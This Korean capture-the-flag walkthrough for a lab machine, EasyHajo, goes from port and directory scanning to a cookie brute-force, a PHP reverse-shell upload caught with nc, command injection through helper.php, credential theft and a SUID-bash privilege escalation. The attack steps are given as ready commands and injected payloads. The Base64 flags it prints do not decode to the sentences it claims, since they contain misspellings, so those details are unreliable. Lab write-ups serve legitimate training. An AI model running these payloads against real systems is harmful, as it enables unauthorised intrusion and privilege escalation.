

EasyHajo CTF 워크스루

개인별 문제 풀이 및 시나리오 검증 보고서

1. 정찰 및 서비스 열거 (Reconnaissance)

• 호스트 탐색

네트워크 대역 내에서 공격 대상 서버의 IP를 확인합니다.

```
$ sudo netdiscover -r <Target-IP 대역대>
```

[결과] 대상 <Target-IP> 식별 완료.

• 포트 스캔

대상 서버에서 활성화된 포트 및 실행 중인 서비스의 버전 정보를 식별합니다.

```
$ sudo nmap -sV -v -p- <Target-IP>
```

[결과] 22/tcp (SSH) , 80/tcp (Apache) 포트 오픈 확인.

• 웹 디렉토리 탐색

gobuster를 활용하여 웹 서버 내부에 숨겨진 파일 및 경로를 브루트 포싱합니다.

```
$ sudo gobuster dir -u http://<Target-IP> -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html,txt,bak,back,php.bak
```

[발견 경로] /index.php , /uploads/ , /upload.php.bak , /upload.php , /helper.php

2. 소스 코드 분석 및 취약점 파악

• 백업 파일 확인

유출된 백업 파일(upload.php.bak)을 다운로드하여 서버 측의 파일 업로드 검증 로직을 분석합니다.

```
$ sudo curl http://<Target-IP>/upload.php.bak
```

[로직 핵심 요약]

- **admin** 쿠키 값 뒤에 반드시 소문자 알파벳 1자리가 붙어야 검증을 통과함 (예: **2asy@haj0k2y#s**).
- POST 요청 데이터로 **secure=2aSyH4j0** 파라미터가 누락 없이 전달되어야만 **.php** 파일 업로드가 허용됨.

3. 초기 침투 (Exploitation)

• 웹shell 업로드 및 인증 우회

Burp Suite Intruder 를 사용해 쿠키 검증에 사용되는 알파벳 무작위 대입(a-z) 공격을 수행합니다.

- 알파벳 **s** 값이 대입되었을 때 서버로부터 정상 응답(200 OK)이 오는 것을 확인.
- 인증이 우회된 패킷을 통해 **php-reverse-shell.php** 파일 업로드 성공.

• 리버스 셸(Reverse Shell) 연결

공격자 PC에서 포트를 개방하여 대기한 후, 업로드된 웹shell을 실행하여 초기 침투 권한을 획득합니다.

```
# 공격자 터미널에서 리스너 대기
$ sudo nc -lvnp 5555
```

웹 브라우저 또는 curl을 통해 업로드된 리버스 셸 경로에 접근합니다.

```
URL 접속: http://<Target-IP>/uploads/php-reverse-shell.php
```

[결과] **www-data** 웹 서버 계정 권한으로 초기 셸 획득 완료.

4. 사용자 권한 획득 및 플래그 확보

• 사용자 플래그(User Flag) 확인

easyhajo 사용자의 홈 디렉토리로 이동하여 첫 번째 플래그 파일의 내용을 확인합니다.

```
$ cd /home/easyhajo
$ cat user.txt
```

[User Flag] **Q29uZ3JhdHVzYXRpb25zLCB5b3UgaGF2ZSBmb3VuZCB0aGUgZWZzeWhham8gdXNlciBmbGFnLg==**

[참고] 해당 문자열을 Base64 디코딩 시: Congratulations, you have found the easyhajo user flag.

• 내부 시스템 정보 열거 및 커맨드 인젝션

앞서 발견한 **helper.php** 페이지의 소스 및 동작을 분석합니다.

- 브라우저 타이틀(**Where is the Secret?**)과 입력창의 플레이스홀더 힌트 (**Target system path (e.g., /var/www/html ; id) ...**) 확인.

- 세미콜론(;)을 구분자로 사용하는 전형적인 **OS 명령어 삽입(Command Injection)** 취약점이 존재함을 파악.
- 웹 입력창에 ; **ls -al** 을 입력하여 내부 웹 루트 외부의 숨겨진 경로들을 정찰.

• 내부 자격 증명(Credential) 획득

명령어 삽입을 통해 숨겨진 파일 시스템 내부의 패스워드 저장소를 발견하고 조회합니다.

```
$ cd /var/lib/secret_store
$ cat password-reminder.txt
```

[확인된 비밀번호] **2asyeasyhajo***

탈취한 비밀번호를 이용해 SSH로 정식 **easyhajo** 사용자 권한으로 접속합니다.

```
$ ssh easyhajo@<Target-IP>
```

5. 루트 권한 상승 (Privilege Escalation)

• Sudo 권한 확인 (Misconfiguration 탐색)

현재 **easyhajo** 사용자가 루트 권한으로 패스워드 없이 실행할 수 있는 명령어가 있는지 확인합니다.

```
$ sudo -l
```

[확인 결과] (root) NOPASSWD: /usr/bin/python3 /home/.team-tasks/cookie-gen.py

• 파이썬 스크립트 취약점을 이용한 명령어 삽입

관리자 권한으로 실행되는 **cookie-gen.py** 프로그램이 입력값을 검증하지 않고 시스템 명령어로 전달하는 약점을 이용합니다. 스크립트를 실행한 뒤, 입력란에 세미콜론(;)과 함께 권한 상승을 위한 하위 명령어를 주입합니다.

```
$ sudo python3 /home/.team-tasks/cookie-gen.py
```

```
# 스크립트 내 입력 값 주입
Input: 21;cp /bin/bash /tmp/bash;chmod u+s /tmp/bash
```

• 루트 쉘 전환 및 최종 플래그 획득

SetUID 권한이 부여된 **/tmp/bash** 를 원본 권한(**-p**)을 유지한 채 실행하여 최종 루트 권한을 획득합니다.

```
$ /tmp/bash -p
# whoami
root
```

[Root Flag 확인]

```
# cat /root/root.txt
```

[값] `Q29uZ3JhdHVzYXRpb25zLCB5b3UgaGF2ZSBmb3VuZCB0aGUgZWZzeWhham8gcm9vdCBmbGFu`

[참고] 해당 문자열을 Base64 디코딩 시: Congratulations, you have found the easyhajo root flag.